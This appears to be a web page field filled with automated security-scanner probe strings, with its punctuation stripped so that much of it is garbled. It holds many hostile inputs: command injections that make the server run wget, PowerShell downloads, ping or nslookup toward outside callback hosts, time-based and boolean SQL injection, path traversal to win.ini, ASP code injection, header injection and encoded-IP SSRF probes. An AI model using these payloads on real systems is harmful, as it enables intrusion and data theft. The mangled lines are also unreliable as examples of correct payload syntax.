1234powershell -command Invoke-WebRequest http169.254.79.7018036AppScanMsg.htmlvarId=5282#
|
1234 ping -c 1 v3-ping-5283-c0abf1d1-4a5a-4cd1-b87c-eae00757e5e2.securityip.appsechcl.com
|
1234 ping -c 1 v3-ping-5285-c0abf1d1-4a5a-4cd1-b87c-eae00757e5e2.securityip.appsechcl.com
|
1234 wget http169.254.79.7018036AppScanMsg.htmlvarId=5286 #
|
1234 wget http169.254.79.7018036AppScanMsg.htmlvarId=5288
|
1234 $ping -c 1 v3-ping-5290-c0abf1d1-4a5a-4cd1-b87c-eae00757e5e2.securityip.appsechcl.com
|
1234 wget http169.254.79.7018036AppScanMsg.htmlvarId=5293
|
1234powershell -command Invoke-WebRequest http169.254.79.7018036AppScanMsg.htmlvarId=5292
|
1234 `ping -c 1 v3-ping-5295-c0abf1d1-4a5a-4cd1-b87c-eae00757e5e2.securityip.appsechcl.com`
|
wget20http3A2F2F169.254.79.703A180362FAppScanMsg.html3FvarId3D5296
|
1234 ping -c 1 v3-ping-5297-c0abf1d1-4a5a-4cd1-b87c-eae00757e5e2.securityip.appsechcl.com
|
12343Bwget20http3A2F2F169.254.79.703A180362FAppScanMsg.html3FvarId3D5306
|
1234powershell -command Invoke-WebRequest http169.254.79.7018036AppScanMsg.htmlvarId=5314
|
12347Cwget20http3A2F2F169.254.79.703A180362FAppScanMsg.html3FvarId3D5316
|
123426wget20http3A2F2F169.254.79.703A180362FAppScanMsg.html3FvarId3D5325
|
1234powershell -command Invoke-WebRequest http169.254.79.7018036AppScanMsg.htmlvarId=5326
|
123460wget20http3A2F2F169.254.79.703A180362FAppScanMsg.html3FvarId3D533460
|
12342626wget20http3A2F2F169.254.79.703A180362FAppScanMsg.html3FvarId3D5337
|
12347C7Cwget20http3A2F2F169.254.79.703A180362FAppScanMsg.html3FvarId3D5350
|
1234$wget20http3A2F2F169.254.79.703A180362FAppScanMsg.html3FvarId3D5358
|
12345C22wget20http3A2F2F169.254.79.703A180362FAppScanMsg.html3FvarId3D536523
|
1234wget20http3A2F2F169.254.79.703A180362FAppScanMsg.html3FvarId3D536923
|
12343Ewget20http3A2F2F169.254.79.703A180362FAppScanMsg.html3FvarId3D5376
|
12343Cwget20http3A2F2F169.254.79.703A180362FAppScanMsg.html3FvarId3D5385
|
http169.254.79.7018036AppScanMsg.htmlvarId=5462
|
http285201594218036AppScanMsg.htmlvarId=5463
|
http0x00A9.0x0000FE.0x04F.0x000004618036AppScanMsg.htmlvarId=5465
|
http0xA9FE4F4618036AppScanMsg.htmlvarId=5466
|
http000251.000000376.00000117.000010618036AppScanMsg.htmlvarId=5467
|
1234Akdieprobehq0001CDkdA
|
1234Akdieprobehq0001CDkdA
|
http000002517744750618036AppScanMsg.htmlvarId=5469
|
http0xA9.254.0000000117.0x0004618036AppScanMsg.htmlvarId=5472
|
http714698323818036AppScanMsg.htmlvarId=5476
|
1234 AppScanHeader AppScanValue1.2-5613 SecondAppScanHeader whatever
|
response.write9731934*9660264
|
response.write9731934*9660264
|
response.write9731934*9660264
|
-1 OR 2865-865-1=0001 or h2gRbNuM=
|
nslookup hit891uyhHz4Rf0d49.bxss.me
|
$nslookup hitsohLuvO41588589.bxss.me
|
nslookup hitXg7hEbPmoB4ebad.bxss.me\`0nslookup hitXg7hEbPmoB4ebad.bxss.me`
|
|nslookup hitmFlVn9eGPrb8871.bxss.me
|
`nslookup hitkmdC3smrbpf2f9c.bxss.me`
|
nslookup hitvESIaziUnD27695.bxss.me|nslookup hitvESIaziUnD27695.bxss.menslookup hitvESIaziUnD27695.bxss.me
|
....................windowswin.ini
|
httpsome-inexistent-website.acusome_inexistent_file_with_long_name.jpg
|
1some_inexistent_file_with_long_name.jpg
|
httphitM3XgJISzf9.bxss.me
|
response.write9630686*9835982
|
response.write9630686*9835982
|
response.write9630686*9835982
|
....................windowswin.ini
|
nslookup hitoNsjjgKeateb004.bxss.me
|
$nslookup hit7EJvoODplBb74cc.bxss.me
|
nslookup hitCniHdvDvLPdcd89.bxss.me\`0nslookup hitCniHdvDvLPdcd89.bxss.me`
|
|nslookup hitYjEwPp8DVn4952d.bxss.me
|
`nslookup hitIDjvkPHYQtb80ea.bxss.me`
|
nslookup hitkMuuGuKGhPcbec4.bxss.me|nslookup hitkMuuGuKGhPcbec4.bxss.menslookup hitkMuuGuKGhPcbec4.bxss.me
|
-1 OR 223-23-1=0001 or PcCTTbj2=
|
httpsome-inexistent-website.acusome_inexistent_file_with_long_name.jpg
|
1some_inexistent_file_with_long_name.jpg
|
0XORifnow=sysdate,sleep9,0XORZ
|
0XORifnow=sysdate,sleep9,0XORZ
|
select0fromselectsleep13v*select0fromselectsleep13vselect0fromselectsleep13v*
|
LdSV5en3 waitfor delay 009
|
tXHJEDpp waitfor delay 009
|
4eyJZy5M waitfor delay 009
|
httphitSICiCSYq6M.bxss.me
|
iUKSpLBQselect pg_sleep13
|
ffcLWxOIselect pg_sleep13
|
7zyuo8Hgselect pg_sleep13
|
response.write9992254*9195534
|
response.write9992254*9195534
|
response.write9992254*9195534
|
nslookup hitjMHITLcAopf6a2e.bxss.me
|
$nslookup hit6fnuIiPRQ7e920c.bxss.me
|
....................windowswin.ini
|
nslookup hit9g0lBQJtiS9fcd5.bxss.me\`0nslookup hit9g0lBQJtiS9fcd5.bxss.me`
|
|nslookup hitZnjiZb0kWZdcc32.bxss.me
|
`nslookup hitGaNv9A1uREf68fb.bxss.me`
|
-1 OR 2696-696-1=0001 or 8zBSdWCL=
|
nslookup hit41zrYxHYbpc3077.bxss.me|nslookup hit41zrYxHYbpc3077.bxss.menslookup hit41zrYxHYbpc3077.bxss.me
|
httpsome-inexistent-website.acusome_inexistent_file_with_long_name.jpg
|
1some_inexistent_file_with_long_name.jpg
|
0XORifnow=sysdate,sleep6,0XORZ
|
0XORifnow=sysdate,sleep9,0XORZ
|
select0fromselectsleep9v*select0fromselectsleep9vselect0fromselectsleep9v*
|
apYEcaKf waitfor delay 006
|
sZBdKVBm waitfor delay 006
|
httphitrhBUN0gWuz.bxss.me
|
MCPGsPlP waitfor delay 006
|
13T68kDQ waitfor delay 003
|
response.write9002807*9670299
|
response.write9002807*9670299
|
response.write9002807*9670299
|
-1 OR 2840-840-1=0001 or wYxHOU1s=
|
0XORifnow=sysdate,sleep9,0XORZ
|
nslookup hitg5jNKXulTWc9b42.bxss.me
|
$nslookup hitd4DUQW7fWr6a022.bxss.me
|
0XORifnow=sysdate,sleep3,0XORZ
|
nslookup hit7W79h2cpmufa474.bxss.me\`0nslookup hit7W79h2cpmufa474.bxss.me`
|
select0fromselectsleep3v*select0fromselectsleep3vselect0fromselectsleep3v*
|
|nslookup hitnMg7YbroE6b4da9.bxss.me
|
`nslookup hitfKEUuYyGSpb8eef.bxss.me`
|
nslookup hitZ8Ct4t27bT772b0.bxss.me|nslookup hitZ8Ct4t27bT772b0.bxss.menslookup hitZ8Ct4t27bT772b0.bxss.me
|
AINMAmpd waitfor delay 006
|
3x7CVDh9 waitfor delay 006
|
Bi5Teym4 waitfor delay 009
|
....................windowswin.ini
|
httpsome-inexistent-website.acusome_inexistent_file_with_long_name.jpg
|
1some_inexistent_file_with_long_name.jpg
|
httphitKCxMvIhH3w.bxss.me
|
response.write9461282*9008688
|
response.write9461282*9008688
|
response.write9461282*9008688
|
nslookup hit9w7FDrXkWZ2c578.bxss.me
|
$nslookup hitksQHIS582d3d958.bxss.me
|
nslookup hit00u1EAvmdK5f74b.bxss.me\`0nslookup hit00u1EAvmdK5f74b.bxss.me`
|
|nslookup hitykJZlanfHMf2c73.bxss.me
|
`nslookup hittSeqWxn4Zf085b1.bxss.me`
|
....................windowswin.ini
|
nslookup hitnjC0imOS4D739d6.bxss.me|nslookup hitnjC0imOS4D739d6.bxss.menslookup hitnjC0imOS4D739d6.bxss.me
|
-1 OR 2372-372-1=0001 or rzV59z1J=
|
0XORifnow=sysdate,sleep3,0XORZ
|
0XORifnow=sysdate,sleep6,0XORZ
|
select0fromselectsleep9v*select0fromselectsleep9vselect0fromselectsleep9v*
|
httpsome-inexistent-website.acusome_inexistent_file_with_long_name.jpg
|
1some_inexistent_file_with_long_name.jpg
|
6QwrqTOM waitfor delay 006
|
vfBdCckr waitfor delay 006
|
36UL5XvD waitfor delay 009
|
httphitIXYYZXeaiM.bxss.me
|
response.write9374918*9622953
|
response.write9374918*9622953
|
response.write9374918*9622953
|
|